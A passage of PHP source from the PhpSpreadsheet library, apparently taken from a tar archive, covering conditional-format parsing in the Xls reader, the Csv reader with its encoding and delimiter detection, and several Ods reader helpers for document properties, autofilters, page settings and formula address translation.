2; Size1 $size1 = self::getUInt2d($recordData, 2); // offset: 4; size: 2; Size2 $size2 = self::getUInt2d($recordData, 4); // offset: 6; size: 4; Options $options = self::getInt4d($recordData, 6); $style = new Style(false, true); // non-supervisor, conditional //$this->getCFStyleOptions($options, $style); $hasFontRecord = (bool) ((0x04000000 & $options) >> 26); $hasAlignmentRecord = (bool) ((0x08000000 & $options) >> 27); $hasBorderRecord = (bool) ((0x10000000 & $options) >> 28); $hasFillRecord = (bool) ((0x20000000 & $options) >> 29); $hasProtectionRecord = (bool) ((0x40000000 & $options) >> 30); $offset = 12; if ($hasFontRecord === true) { $fontStyle = substr($recordData, $offset, 118); $this->getCFFontStyle($fontStyle, $style); $offset += 118; } if ($hasAlignmentRecord === true) { //$alignmentStyle = substr($recordData, $offset, 8); //$this->getCFAlignmentStyle($alignmentStyle, $style); $offset += 8; } if ($hasBorderRecord === true) { //$borderStyle = substr($recordData, $offset, 8); //$this->getCFBorderStyle($borderStyle, $style); $offset += 8; } if ($hasFillRecord === true) { $fillStyle = substr($recordData, $offset, 4); $this->getCFFillStyle($fillStyle, $style); $offset += 4; } if ($hasProtectionRecord === true) { //$protectionStyle = substr($recordData, $offset, 4); //$this->getCFProtectionStyle($protectionStyle, $style); $offset += 2; } $formula1 = $formula2 = null; if ($size1 > 0) { $formula1 = $this->readCFFormula($recordData, $offset, $size1); if ($formula1 === null) { return; } $offset += $size1; } if ($size2 > 0) { $formula2 = $this->readCFFormula($recordData, $offset, $size2); if ($formula2 === null) { return; } $offset += $size2; } $this->setCFRules($cellRangeAddresses, $type, $operator, $formula1, $formula2, $style); } /*private function getCFStyleOptions(int $options, Style $style): void { }*/ private function getCFFontStyle(string $options, Style $style): void { $fontSize = self::getInt4d($options, 64); if ($fontSize !== -1) { $style->getFont()->setSize($fontSize / 20); // Convert twips to points } $bold = self::getUInt2d($options, 72) === 700; // 400 = normal, 700 = bold $style->getFont()->setBold($bold); $color = self::getInt4d($options, 80); if ($color !== -1) { $style->getFont()->getColor()->setRGB(Xls\Color::map($color, $this->palette, $this->version)['rgb']); } } /*private function getCFAlignmentStyle(string $options, Style $style): void { }*/ /*private function getCFBorderStyle(string $options, Style $style): void { }*/ private function getCFFillStyle(string $options, Style $style): void { $fillPattern = self::getUInt2d($options, 0); // bit: 10-15; mask: 0xFC00; type $fillPattern = (0xFC00 & $fillPattern) >> 10; $fillPattern = FillPattern::lookup($fillPattern); $fillPattern = $fillPattern === Fill::FILL_NONE ? Fill::FILL_SOLID : $fillPattern; if ($fillPattern !== Fill::FILL_NONE) { $style->getFill()->setFillType($fillPattern); $fillColors = self::getUInt2d($options, 2); // bit: 0-6; mask: 0x007F; type $color1 = (0x007F & $fillColors) >> 0; $style->getFill()->getStartColor()->setRGB(Xls\Color::map($color1, $this->palette, $this->version)['rgb']); // bit: 7-13; mask: 0x3F80; type $color2 = (0x3F80 & $fillColors) >> 7; $style->getFill()->getEndColor()->setRGB(Xls\Color::map($color2, $this->palette, $this->version)['rgb']); } } /*private function getCFProtectionStyle(string $options, Style $style): void { }*/ private function readCFFormula(string $recordData, int $offset, int $size): float|int|string|null { try { $formula = substr($recordData, $offset, $size); $formula = pack('v', $size) . $formula; // prepend the length $formula = $this->getFormulaFromStructure($formula); if (is_numeric($formula)) { return (str_contains($formula, '.')) ? (float) $formula : (int) $formula; } return $formula; } catch (PhpSpreadsheetException) { return null; } } private function setCFRules(array $cellRanges, string $type, string $operator, null|float|int|string $formula1, null|float|int|string $formula2, Style $style): void { foreach ($cellRanges as $cellRange) { $conditional = new Conditional(); $conditional->setConditionType($type); $conditional->setOperatorType($operator); if ($formula1 !== null) { $conditional->addCondition($formula1); } if ($formula2 !== null) { $conditional->addCondition($formula2); } $conditional->setStyle($style); $conditionalStyles = $this->phpSheet->getStyle($cellRange)->getConditionalStyles(); $conditionalStyles[] = $conditional; $this->phpSheet->getStyle($cellRange)->setConditionalStyles($conditionalStyles); } } public function getVersion(): int { return $this->version; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Csv.php000064400000046546151676714400017734 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Reader; use PhpOffice\PhpSpreadsheet\Calculation\Calculation; use PhpOffice\PhpSpreadsheet\Cell\Cell; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; use PhpOffice\PhpSpreadsheet\Reader\Csv\Delimiter; use PhpOffice\PhpSpreadsheet\Reader\Exception as ReaderException; use PhpOffice\PhpSpreadsheet\Shared\StringHelper; use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet; class Csv extends BaseReader { const DEFAULT_FALLBACK_ENCODING = 'CP1252'; const GUESS_ENCODING = 'guess'; const UTF8_BOM = "\xEF\xBB\xBF"; const UTF8_BOM_LEN = 3; const UTF16BE_BOM = "\xfe\xff"; const UTF16BE_BOM_LEN = 2; const UTF16BE_LF = "\x00\x0a"; const UTF16LE_BOM = "\xff\xfe"; const UTF16LE_BOM_LEN = 2; const UTF16LE_LF = "\x0a\x00"; const UTF32BE_BOM = "\x00\x00\xfe\xff"; const UTF32BE_BOM_LEN = 4; const UTF32BE_LF = "\x00\x00\x00\x0a"; const UTF32LE_BOM = "\xff\xfe\x00\x00"; const UTF32LE_BOM_LEN = 4; const UTF32LE_LF = "\x0a\x00\x00\x00"; /** * Input encoding. */ private string $inputEncoding = 'UTF-8'; /** * Fallback encoding if guess strikes out. */ private string $fallbackEncoding = self::DEFAULT_FALLBACK_ENCODING; /** * Delimiter. */ private ?string $delimiter = null; /** * Enclosure. */ private string $enclosure = '"'; /** * Sheet index to read. */ private int $sheetIndex = 0; /** * Load rows contiguously. */ private bool $contiguous = false; /** * The character that can escape the enclosure. */ private string $escapeCharacter = '\\'; /** * Callback for setting defaults in construction. * * @var ?callable */ private static $constructorCallback; /** * Attempt autodetect line endings (deprecated after PHP8.1)? */ private bool $testAutodetect = true; protected bool $castFormattedNumberToNumeric = false; protected bool $preserveNumericFormatting = false; private bool $preserveNullString = false; private bool $sheetNameIsFileName = false; private string $getTrue = 'true'; private string $getFalse = 'false'; private string $thousandsSeparator = ','; private string $decimalSeparator = '.'; /** * Create a new CSV Reader instance. */ public function __construct() { parent::__construct(); $callback = self::$constructorCallback; if ($callback !== null) { $callback($this); } } /** * Set a callback to change the defaults. * * The callback must accept the Csv Reader object as the first parameter, * and it should return void. */ public static function setConstructorCallback(?callable $callback): void { self::$constructorCallback = $callback; } public static function getConstructorCallback(): ?callable { return self::$constructorCallback; } public function setInputEncoding(string $encoding): self { $this->inputEncoding = $encoding; return $this; } public function getInputEncoding(): string { return $this->inputEncoding; } public function setFallbackEncoding(string $fallbackEncoding): self { $this->fallbackEncoding = $fallbackEncoding; return $this; } public function getFallbackEncoding(): string { return $this->fallbackEncoding; } /** * Move filepointer past any BOM marker. */ protected function skipBOM(): void { rewind($this->fileHandle); if (fgets($this->fileHandle, self::UTF8_BOM_LEN + 1) !== self::UTF8_BOM) { rewind($this->fileHandle); } } /** * Identify any separator that is explicitly set in the file. */ protected function checkSeparator(): void { $line = fgets($this->fileHandle); if ($line === false) { return; } if ((strlen(trim($line, "\r\n")) == 5) && (stripos($line, 'sep=') === 0)) { $this->delimiter = substr($line, 4, 1); return; } $this->skipBOM(); } /** * Infer the separator if it isn't explicitly set in the file or specified by the user. */ protected function inferSeparator(): void { if ($this->delimiter !== null) { return; } $inferenceEngine = new Delimiter($this->fileHandle, $this->escapeCharacter, $this->enclosure); // If number of lines is 0, nothing to infer : fall back to the default if ($inferenceEngine->linesCounted() === 0) { $this->delimiter = $inferenceEngine->getDefaultDelimiter(); $this->skipBOM(); return; } $this->delimiter = $inferenceEngine->infer(); // If no delimiter could be detected, fall back to the default if ($this->delimiter === null) { $this->delimiter = $inferenceEngine->getDefaultDelimiter(); } $this->skipBOM(); } /** * Return worksheet info (Name, Last Column Letter, Last Column Index, Total Rows, Total Columns). */ public function listWorksheetInfo(string $filename): array { // Open file $this->openFileOrMemory($filename); $fileHandle = $this->fileHandle; // Skip BOM, if any $this->skipBOM(); $this->checkSeparator(); $this->inferSeparator(); $worksheetInfo = []; $worksheetInfo[0]['worksheetName'] = 'Worksheet'; $worksheetInfo[0]['lastColumnLetter'] = 'A'; $worksheetInfo[0]['lastColumnIndex'] = 0; $worksheetInfo[0]['totalRows'] = 0; $worksheetInfo[0]['totalColumns'] = 0; $delimiter = $this->delimiter ?? ''; // Loop through each line of the file in turn $rowData = fgetcsv($fileHandle, 0, $delimiter, $this->enclosure, $this->escapeCharacter); while (is_array($rowData)) { ++$worksheetInfo[0]['totalRows']; $worksheetInfo[0]['lastColumnIndex'] = max($worksheetInfo[0]['lastColumnIndex'], count($rowData) - 1); $rowData = fgetcsv($fileHandle, 0, $delimiter, $this->enclosure, $this->escapeCharacter); } $worksheetInfo[0]['lastColumnLetter'] = Coordinate::stringFromColumnIndex($worksheetInfo[0]['lastColumnIndex'] + 1); $worksheetInfo[0]['totalColumns'] = $worksheetInfo[0]['lastColumnIndex'] + 1; // Close file fclose($fileHandle); return $worksheetInfo; } /** * Loads Spreadsheet from file. */ protected function loadSpreadsheetFromFile(string $filename): Spreadsheet { // Create new Spreadsheet $spreadsheet = new Spreadsheet(); // Load into this instance return $this->loadIntoExisting($filename, $spreadsheet); } /** * Loads Spreadsheet from string. */ public function loadSpreadsheetFromString(string $contents): Spreadsheet { // Create new Spreadsheet $spreadsheet = new Spreadsheet(); // Load into this instance return $this->loadStringOrFile('data://text/plain,' . urlencode($contents), $spreadsheet, true); } private function openFileOrMemory(string $filename): void { // Open file $fhandle = $this->canRead($filename); if (!$fhandle) { throw new ReaderException($filename . ' is an Invalid Spreadsheet file.'); } if ($this->inputEncoding === self::GUESS_ENCODING) { $this->inputEncoding = self::guessEncoding($filename, $this->fallbackEncoding); } $this->openFile($filename); if ($this->inputEncoding !== 'UTF-8') { fclose($this->fileHandle); $entireFile = file_get_contents($filename); $fileHandle = fopen('php://memory', 'r+b'); if ($fileHandle !== false && $entireFile !== false) { $this->fileHandle = $fileHandle; $data = StringHelper::convertEncoding($entireFile, 'UTF-8', $this->inputEncoding); fwrite($this->fileHandle, $data); $this->skipBOM(); } } } public function setTestAutoDetect(bool $value): self { $this->testAutodetect = $value; return $this; } private function setAutoDetect(?string $value): ?string { $retVal = null; if ($value !== null && $this->testAutodetect) { $retVal2 = @ini_set('auto_detect_line_endings', $value); if (is_string($retVal2)) { $retVal = $retVal2; } } return $retVal; } public function castFormattedNumberToNumeric( bool $castFormattedNumberToNumeric, bool $preserveNumericFormatting = false ): void { $this->castFormattedNumberToNumeric = $castFormattedNumberToNumeric; $this->preserveNumericFormatting = $preserveNumericFormatting; } /** * Open data uri for reading. */ private function openDataUri(string $filename): void { $fileHandle = fopen($filename, 'rb'); if ($fileHandle === false) { // @codeCoverageIgnoreStart throw new ReaderException('Could not open file ' . $filename . ' for reading.'); // @codeCoverageIgnoreEnd } $this->fileHandle = $fileHandle; } /** * Loads PhpSpreadsheet from file into PhpSpreadsheet instance. */ public function loadIntoExisting(string $filename, Spreadsheet $spreadsheet): Spreadsheet { return $this->loadStringOrFile($filename, $spreadsheet, false); } /** * Loads PhpSpreadsheet from file into PhpSpreadsheet instance. */ private function loadStringOrFile(string $filename, Spreadsheet $spreadsheet, bool $dataUri): Spreadsheet { // Deprecated in Php8.1 $iniset = $this->setAutoDetect('1'); // Open file if ($dataUri) { $this->openDataUri($filename); } else { $this->openFileOrMemory($filename); } $fileHandle = $this->fileHandle; // Skip BOM, if any $this->skipBOM(); $this->checkSeparator(); $this->inferSeparator(); // Create new PhpSpreadsheet object while ($spreadsheet->getSheetCount() <= $this->sheetIndex) { $spreadsheet->createSheet(); } $sheet = $spreadsheet->setActiveSheetIndex($this->sheetIndex); if ($this->sheetNameIsFileName) { $sheet->setTitle(substr(basename($filename, '.csv'), 0, Worksheet::SHEET_TITLE_MAXIMUM_LENGTH)); } // Set our starting row based on whether we're in contiguous mode or not $currentRow = 1; $outRow = 0; // Loop through each line of the file in turn $delimiter = $this->delimiter ?? ''; $rowData = fgetcsv($fileHandle, 0, $delimiter, $this->enclosure, $this->escapeCharacter); $valueBinder = Cell::getValueBinder(); $preserveBooleanString = method_exists($valueBinder, 'getBooleanConversion') && $valueBinder->getBooleanConversion(); $this->getTrue = Calculation::getTRUE(); $this->getFalse = Calculation::getFALSE(); $this->thousandsSeparator = StringHelper::getThousandsSeparator(); $this->decimalSeparator = StringHelper::getDecimalSeparator(); while (is_array($rowData)) { $noOutputYet = true; $columnLetter = 'A'; foreach ($rowData as $rowDatum) { if ($preserveBooleanString) { $rowDatum = $rowDatum ?? ''; } else { $this->convertBoolean($rowDatum); } $numberFormatMask = $this->castFormattedNumberToNumeric ? $this->convertFormattedNumber($rowDatum) : ''; if (($rowDatum !== '' || $this->preserveNullString) && $this->readFilter->readCell($columnLetter, $currentRow)) { if ($this->contiguous) { if ($noOutputYet) { $noOutputYet = false; ++$outRow; } } else { $outRow = $currentRow; } // Set basic styling for the value (Note that this could be overloaded by styling in a value binder) if ($numberFormatMask !== '') { $sheet->getStyle($columnLetter . $outRow) ->getNumberFormat() ->setFormatCode($numberFormatMask); } // Set cell value $sheet->getCell($columnLetter . $outRow)->setValue($rowDatum); } ++$columnLetter; } $rowData = fgetcsv($fileHandle, 0, $delimiter, $this->enclosure, $this->escapeCharacter); ++$currentRow; } // Close file fclose($fileHandle); $this->setAutoDetect($iniset); // Return return $spreadsheet; } /** * Convert string true/false to boolean, and null to null-string. */ private function convertBoolean(mixed &$rowDatum): void { if (is_string($rowDatum)) { if (strcasecmp($this->getTrue, $rowDatum) === 0 || strcasecmp('true', $rowDatum) === 0) { $rowDatum = true; } elseif (strcasecmp($this->getFalse, $rowDatum) === 0 || strcasecmp('false', $rowDatum) === 0) { $rowDatum = false; } } else { $rowDatum = $rowDatum ?? ''; } } /** * Convert numeric strings to int or float values. */ private function convertFormattedNumber(mixed &$rowDatum): string { $numberFormatMask = ''; if ($this->castFormattedNumberToNumeric === true && is_string($rowDatum)) { $numeric = str_replace( [$this->thousandsSeparator, $this->decimalSeparator], ['', '.'], $rowDatum ); if (is_numeric($numeric)) { $decimalPos = strpos($rowDatum, $this->decimalSeparator); if ($this->preserveNumericFormatting === true) { $numberFormatMask = (str_contains($rowDatum, $this->thousandsSeparator)) ? '#,##0' : '0'; if ($decimalPos !== false) { $decimals = strlen($rowDatum) - $decimalPos - 1; $numberFormatMask .= '.' . str_repeat('0', min($decimals, 6)); } } $rowDatum = ($decimalPos !== false) ? (float) $numeric : (int) $numeric; } } return $numberFormatMask; } public function getDelimiter(): ?string { return $this->delimiter; } public function setDelimiter(?string $delimiter): self { $this->delimiter = $delimiter; return $this; } public function getEnclosure(): string { return $this->enclosure; } public function setEnclosure(string $enclosure): self { if ($enclosure == '') { $enclosure = '"'; } $this->enclosure = $enclosure; return $this; } public function getSheetIndex(): int { return $this->sheetIndex; } public function setSheetIndex(int $indexValue): self { $this->sheetIndex = $indexValue; return $this; } public function setContiguous(bool $contiguous): self { $this->contiguous = $contiguous; return $this; } public function getContiguous(): bool { return $this->contiguous; } public function setEscapeCharacter(string $escapeCharacter): self { $this->escapeCharacter = $escapeCharacter; return $this; } public function getEscapeCharacter(): string { return $this->escapeCharacter; } /** * Can the current IReader read the file? */ public function canRead(string $filename): bool { // Check if file exists try { $this->openFile($filename); } catch (ReaderException) { return false; } fclose($this->fileHandle); // Trust file extension if any $extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); if (in_array($extension, ['csv', 'tsv'])) { return true; } // Attempt to guess mimetype $type = mime_content_type($filename); $supportedTypes = [ 'application/csv', 'text/csv', 'text/plain', 'inode/x-empty', ]; return in_array($type, $supportedTypes, true); } private static function guessEncodingTestNoBom(string &$encoding, string &$contents, string $compare, string $setEncoding): void { if ($encoding === '') { $pos = strpos($contents, $compare); if ($pos !== false && $pos % strlen($compare) === 0) { $encoding = $setEncoding; } } } private static function guessEncodingNoBom(string $filename): string { $encoding = ''; $contents = file_get_contents($filename); self::guessEncodingTestNoBom($encoding, $contents, self::UTF32BE_LF, 'UTF-32BE'); self::guessEncodingTestNoBom($encoding, $contents, self::UTF32LE_LF, 'UTF-32LE'); self::guessEncodingTestNoBom($encoding, $contents, self::UTF16BE_LF, 'UTF-16BE'); self::guessEncodingTestNoBom($encoding, $contents, self::UTF16LE_LF, 'UTF-16LE'); if ($encoding === '' && preg_match('//u', $contents) === 1) { $encoding = 'UTF-8'; } return $encoding; } private static function guessEncodingTestBom(string &$encoding, string $first4, string $compare, string $setEncoding): void { if ($encoding === '') { if (str_starts_with($first4, $compare)) { $encoding = $setEncoding; } } } private static function guessEncodingBom(string $filename): string { $encoding = ''; $first4 = file_get_contents($filename, false, null, 0, 4); if ($first4 !== false) { self::guessEncodingTestBom($encoding, $first4, self::UTF8_BOM, 'UTF-8'); self::guessEncodingTestBom($encoding, $first4, self::UTF16BE_BOM, 'UTF-16BE'); self::guessEncodingTestBom($encoding, $first4, self::UTF32BE_BOM, 'UTF-32BE'); self::guessEncodingTestBom($encoding, $first4, self::UTF32LE_BOM, 'UTF-32LE'); self::guessEncodingTestBom($encoding, $first4, self::UTF16LE_BOM, 'UTF-16LE'); } return $encoding; } public static function guessEncoding(string $filename, string $dflt = self::DEFAULT_FALLBACK_ENCODING): string { $encoding = self::guessEncodingBom($filename); if ($encoding === '') { $encoding = self::guessEncodingNoBom($filename); } return ($encoding === '') ? $dflt : $encoding; } public function setPreserveNullString(bool $value): self { $this->preserveNullString = $value; return $this; } public function getPreserveNullString(): bool { return $this->preserveNullString; } public function setSheetNameIsFileName(bool $sheetNameIsFileName): self { $this->sheetNameIsFileName = $sheetNameIsFileName; return $this; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Ods/Properties.php000064400000011631151676714400022045 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Reader\Ods; use PhpOffice\PhpSpreadsheet\Document\Properties as DocumentProperties; use PhpOffice\PhpSpreadsheet\Spreadsheet; use SimpleXMLElement; class Properties { private Spreadsheet $spreadsheet; public function __construct(Spreadsheet $spreadsheet) { $this->spreadsheet = $spreadsheet; } public function load(SimpleXMLElement $xml, array $namespacesMeta): void { $docProps = $this->spreadsheet->getProperties(); $officeProperty = $xml->children($namespacesMeta['office']); foreach ($officeProperty as $officePropertyData) { if (isset($namespacesMeta['dc'])) { $officePropertiesDC = $officePropertyData->children($namespacesMeta['dc']); $this->setCoreProperties($docProps, $officePropertiesDC); } $officePropertyMeta = null; if (isset($namespacesMeta['dc'])) { $officePropertyMeta = $officePropertyData->children($namespacesMeta['meta']); } $officePropertyMeta = $officePropertyMeta ?? []; foreach ($officePropertyMeta as $propertyName => $propertyValue) { $this->setMetaProperties($namespacesMeta, $propertyValue, $propertyName, $docProps); } } } private function setCoreProperties(DocumentProperties $docProps, SimpleXMLElement $officePropertyDC): void { foreach ($officePropertyDC as $propertyName => $propertyValue) { $propertyValue = (string) $propertyValue; switch ($propertyName) { case 'title': $docProps->setTitle($propertyValue); break; case 'subject': $docProps->setSubject($propertyValue); break; case 'creator': $docProps->setCreator($propertyValue); $docProps->setLastModifiedBy($propertyValue); break; case 'date': $docProps->setModified($propertyValue); break; case 'description': $docProps->setDescription($propertyValue); break; } } } private function setMetaProperties( array $namespacesMeta, SimpleXMLElement $propertyValue, string $propertyName, DocumentProperties $docProps ): void { $propertyValueAttributes = $propertyValue->attributes($namespacesMeta['meta']); $propertyValue = (string) $propertyValue; switch ($propertyName) { case 'initial-creator': $docProps->setCreator($propertyValue); break; case 'keyword': $docProps->setKeywords($propertyValue); break; case 'creation-date': $docProps->setCreated($propertyValue); break; case 'user-defined': $name2 = (string) ($propertyValueAttributes['name'] ?? ''); if ($name2 === 'Company') { $docProps->setCompany($propertyValue); } elseif ($name2 === 'category') { $docProps->setCategory($propertyValue); } else { $this->setUserDefinedProperty($propertyValueAttributes, $propertyValue, $docProps); } break; } } private function setUserDefinedProperty(iterable $propertyValueAttributes, string $propertyValue, DocumentProperties $docProps): void { $propertyValueName = ''; $propertyValueType = DocumentProperties::PROPERTY_TYPE_STRING; foreach ($propertyValueAttributes as $key => $value) { if ($key == 'name') { $propertyValueName = (string) $value; } elseif ($key == 'value-type') { switch ($value) { case 'date': $propertyValue = DocumentProperties::convertProperty($propertyValue, 'date'); $propertyValueType = DocumentProperties::PROPERTY_TYPE_DATE; break; case 'boolean': $propertyValue = DocumentProperties::convertProperty($propertyValue, 'bool'); $propertyValueType = DocumentProperties::PROPERTY_TYPE_BOOLEAN; break; case 'float': $propertyValue = DocumentProperties::convertProperty($propertyValue, 'r4'); $propertyValueType = DocumentProperties::PROPERTY_TYPE_FLOAT; break; default: $propertyValueType = DocumentProperties::PROPERTY_TYPE_STRING; } } } $docProps->setCustomProperty($propertyValueName, $propertyValue, $propertyValueType); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Ods/AutoFilter.php000064400000002474151676714400021774 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Reader\Ods; use DOMElement; use DOMNode; class AutoFilter extends BaseLoader { public function read(DOMElement $workbookData): void { $this->readAutoFilters($workbookData); } protected function readAutoFilters(DOMElement $workbookData): void { $databases = $workbookData->getElementsByTagNameNS($this->tableNs, 'database-ranges'); foreach ($databases as $autofilters) { foreach ($autofilters->childNodes as $autofilter) { $autofilterRange = $this->getAttributeValue($autofilter, 'target-range-address'); if ($autofilterRange !== null) { $baseAddress = FormulaTranslator::convertToExcelAddressValue($autofilterRange); $this->spreadsheet->getActiveSheet()->setAutoFilter($baseAddress); } } } } protected function getAttributeValue(?DOMNode $node, string $attributeName): ?string { if ($node !== null && $node->attributes !== null) { $attribute = $node->attributes->getNamedItemNS( $this->tableNs, $attributeName ); if ($attribute !== null) { return $attribute->nodeValue; } } return null; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Ods/PageSettings.php000064400000017535151676714400022317 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Reader\Ods; use DOMDocument; use PhpOffice\PhpSpreadsheet\Worksheet\PageSetup; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet; class PageSettings { private string $officeNs = ''; private string $stylesNs = ''; private string $stylesFo = ''; private string $tableNs = ''; /** * @var string[] */ private array $tableStylesCrossReference = []; private array $pageLayoutStyles = []; /** * @var string[] */ private array $masterStylesCrossReference = []; /** * @var string[] */ private array $masterPrintStylesCrossReference = []; public function __construct(DOMDocument $styleDom) { $this->setDomNameSpaces($styleDom); $this->readPageSettingStyles($styleDom); $this->readStyleMasterLookup($styleDom); } private function setDomNameSpaces(DOMDocument $styleDom): void { $this->officeNs = (string) $styleDom->lookupNamespaceUri('office'); $this->stylesNs = (string) $styleDom->lookupNamespaceUri('style'); $this->stylesFo = (string) $styleDom->lookupNamespaceUri('fo'); $this->tableNs = (string) $styleDom->lookupNamespaceUri('table'); } private function readPageSettingStyles(DOMDocument $styleDom): void { $item0 = $styleDom->getElementsByTagNameNS($this->officeNs, 'automatic-styles')->item(0); $styles = ($item0 === null) ? [] : $item0->getElementsByTagNameNS($this->stylesNs, 'page-layout'); foreach ($styles as $styleSet) { $styleName = $styleSet->getAttributeNS($this->stylesNs, 'name'); $pageLayoutProperties = $styleSet->getElementsByTagNameNS($this->stylesNs, 'page-layout-properties')[0]; $styleOrientation = $pageLayoutProperties->getAttributeNS($this->stylesNs, 'print-orientation'); $styleScale = $pageLayoutProperties->getAttributeNS($this->stylesNs, 'scale-to'); $stylePrintOrder = $pageLayoutProperties->getAttributeNS($this->stylesNs, 'print-page-order'); $centered = $pageLayoutProperties->getAttributeNS($this->stylesNs, 'table-centering'); $marginLeft = $pageLayoutProperties->getAttributeNS($this->stylesFo, 'margin-left'); $marginRight = $pageLayoutProperties->getAttributeNS($this->stylesFo, 'margin-right'); $marginTop = $pageLayoutProperties->getAttributeNS($this->stylesFo, 'margin-top'); $marginBottom = $pageLayoutProperties->getAttributeNS($this->stylesFo, 'margin-bottom'); $header = $styleSet->getElementsByTagNameNS($this->stylesNs, 'header-style')[0]; $headerProperties = $header->getElementsByTagNameNS($this->stylesNs, 'header-footer-properties')[0]; $marginHeader = isset($headerProperties) ? $headerProperties->getAttributeNS($this->stylesFo, 'min-height') : null; $footer = $styleSet->getElementsByTagNameNS($this->stylesNs, 'footer-style')[0]; $footerProperties = $footer->getElementsByTagNameNS($this->stylesNs, 'header-footer-properties')[0]; $marginFooter = isset($footerProperties) ? $footerProperties->getAttributeNS($this->stylesFo, 'min-height') : null; $this->pageLayoutStyles[$styleName] = (object) [ 'orientation' => $styleOrientation ?: PageSetup::ORIENTATION_DEFAULT, 'scale' => $styleScale ?: 100, 'printOrder' => $stylePrintOrder, 'horizontalCentered' => $centered === 'horizontal' || $centered === 'both', 'verticalCentered' => $centered === 'vertical' || $centered === 'both', // margin size is already stored in inches, so no UOM conversion is required 'marginLeft' => (float) ($marginLeft ?? 0.7), 'marginRight' => (float) ($marginRight ?? 0.7), 'marginTop' => (float) ($marginTop ?? 0.3), 'marginBottom' => (float) ($marginBottom ?? 0.3), 'marginHeader' => (float) ($marginHeader ?? 0.45), 'marginFooter' => (float) ($marginFooter ?? 0.45), ]; } } private function readStyleMasterLookup(DOMDocument $styleDom): void { $item0 = $styleDom->getElementsByTagNameNS($this->officeNs, 'master-styles')->item(0); $styleMasterLookup = ($item0 === null) ? [] : $item0->getElementsByTagNameNS($this->stylesNs, 'master-page'); foreach ($styleMasterLookup as $styleMasterSet) { $styleMasterName = $styleMasterSet->getAttributeNS($this->stylesNs, 'name'); $pageLayoutName = $styleMasterSet->getAttributeNS($this->stylesNs, 'page-layout-name'); $this->masterPrintStylesCrossReference[$styleMasterName] = $pageLayoutName; } } public function readStyleCrossReferences(DOMDocument $contentDom): void { $item0 = $contentDom->getElementsByTagNameNS($this->officeNs, 'automatic-styles')->item(0); $styleXReferences = ($item0 === null) ? [] : $item0->getElementsByTagNameNS($this->stylesNs, 'style'); foreach ($styleXReferences as $styleXreferenceSet) { $styleXRefName = $styleXreferenceSet->getAttributeNS($this->stylesNs, 'name'); $stylePageLayoutName = $styleXreferenceSet->getAttributeNS($this->stylesNs, 'master-page-name'); $styleFamilyName = $styleXreferenceSet->getAttributeNS($this->stylesNs, 'family'); if (!empty($styleFamilyName) && $styleFamilyName === 'table') { $styleVisibility = 'true'; foreach ($styleXreferenceSet->getElementsByTagNameNS($this->stylesNs, 'table-properties') as $tableProperties) { $styleVisibility = $tableProperties->getAttributeNS($this->tableNs, 'display'); } $this->tableStylesCrossReference[$styleXRefName] = $styleVisibility; } if (!empty($stylePageLayoutName)) { $this->masterStylesCrossReference[$styleXRefName] = $stylePageLayoutName; } } } public function setVisibilityForWorksheet(Worksheet $worksheet, string $styleName): void { if (!array_key_exists($styleName, $this->tableStylesCrossReference)) { return; } $worksheet->setSheetState( $this->tableStylesCrossReference[$styleName] === 'false' ? Worksheet::SHEETSTATE_HIDDEN : Worksheet::SHEETSTATE_VISIBLE ); } public function setPrintSettingsForWorksheet(Worksheet $worksheet, string $styleName): void { if (!array_key_exists($styleName, $this->masterStylesCrossReference)) { return; } $masterStyleName = $this->masterStylesCrossReference[$styleName]; if (!array_key_exists($masterStyleName, $this->masterPrintStylesCrossReference)) { return; } $printSettingsIndex = $this->masterPrintStylesCrossReference[$masterStyleName]; if (!array_key_exists($printSettingsIndex, $this->pageLayoutStyles)) { return; } $printSettings = $this->pageLayoutStyles[$printSettingsIndex]; $worksheet->getPageSetup() ->setOrientation($printSettings->orientation ?? PageSetup::ORIENTATION_DEFAULT) ->setPageOrder($printSettings->printOrder === 'ltr' ? PageSetup::PAGEORDER_OVER_THEN_DOWN : PageSetup::PAGEORDER_DOWN_THEN_OVER) ->setScale((int) trim($printSettings->scale, '%')) ->setHorizontalCentered($printSettings->horizontalCentered) ->setVerticalCentered($printSettings->verticalCentered); $worksheet->getPageMargins() ->setLeft($printSettings->marginLeft) ->setRight($printSettings->marginRight) ->setTop($printSettings->marginTop) ->setBottom($printSettings->marginBottom) ->setHeader($printSettings->marginHeader) ->setFooter($printSettings->marginFooter); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Ods/FormulaTranslator.php000064400000007120151676714400023366 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Reader\Ods; use PhpOffice\PhpSpreadsheet\Calculation\Calculation; class FormulaTranslator { public static function convertToExcelAddressValue(string $openOfficeAddress): string { $excelAddress = $openOfficeAddress; // Cell range 3-d reference // As we don't support 3-d ranges, we're just going to take a quick and dirty approach // and assume that the second worksheet reference is the same as the first $excelAddress = (string) preg_replace( [ '/\$?([^\.]+)\.([^\.]+):\$?([^\.]+)\.([^\.]+)/miu', '/\$?([^\.]+)\.([^\.]+):\.([^\.]+)/miu', // Cell range reference in another sheet '/\$?([^\.]+)\.([^\.]+)/miu', // Cell reference in another sheet '/\.([^\.]+):\.([^\.]+)/miu', // Cell range reference '/\.([^\.]+)/miu', // Simple cell reference ], [ '$1!$2:$4', '$1!$2:$3', '$1!$2', '$1:$2', '$1', ], $excelAddress ); return $excelAddress; } public static function convertToExcelFormulaValue(string $openOfficeFormula): string { $temp = explode(Calculation::FORMULA_STRING_QUOTE, $openOfficeFormula); $tKey = false; $inMatrixBracesLevel = 0; $inFunctionBracesLevel = 0; foreach ($temp as &$value) { // @var string $value // Only replace in alternate array entries (i.e. non-quoted blocks) // so that conversion isn't done in string values $tKey = $tKey === false; if ($tKey) { $value = (string) preg_replace( [ '/\[\$?([^\.]+)\.([^\.]+):\.([^\.]+)\]/miu', // Cell range reference in another sheet '/\[\$?([^\.]+)\.([^\.]+)\]/miu', // 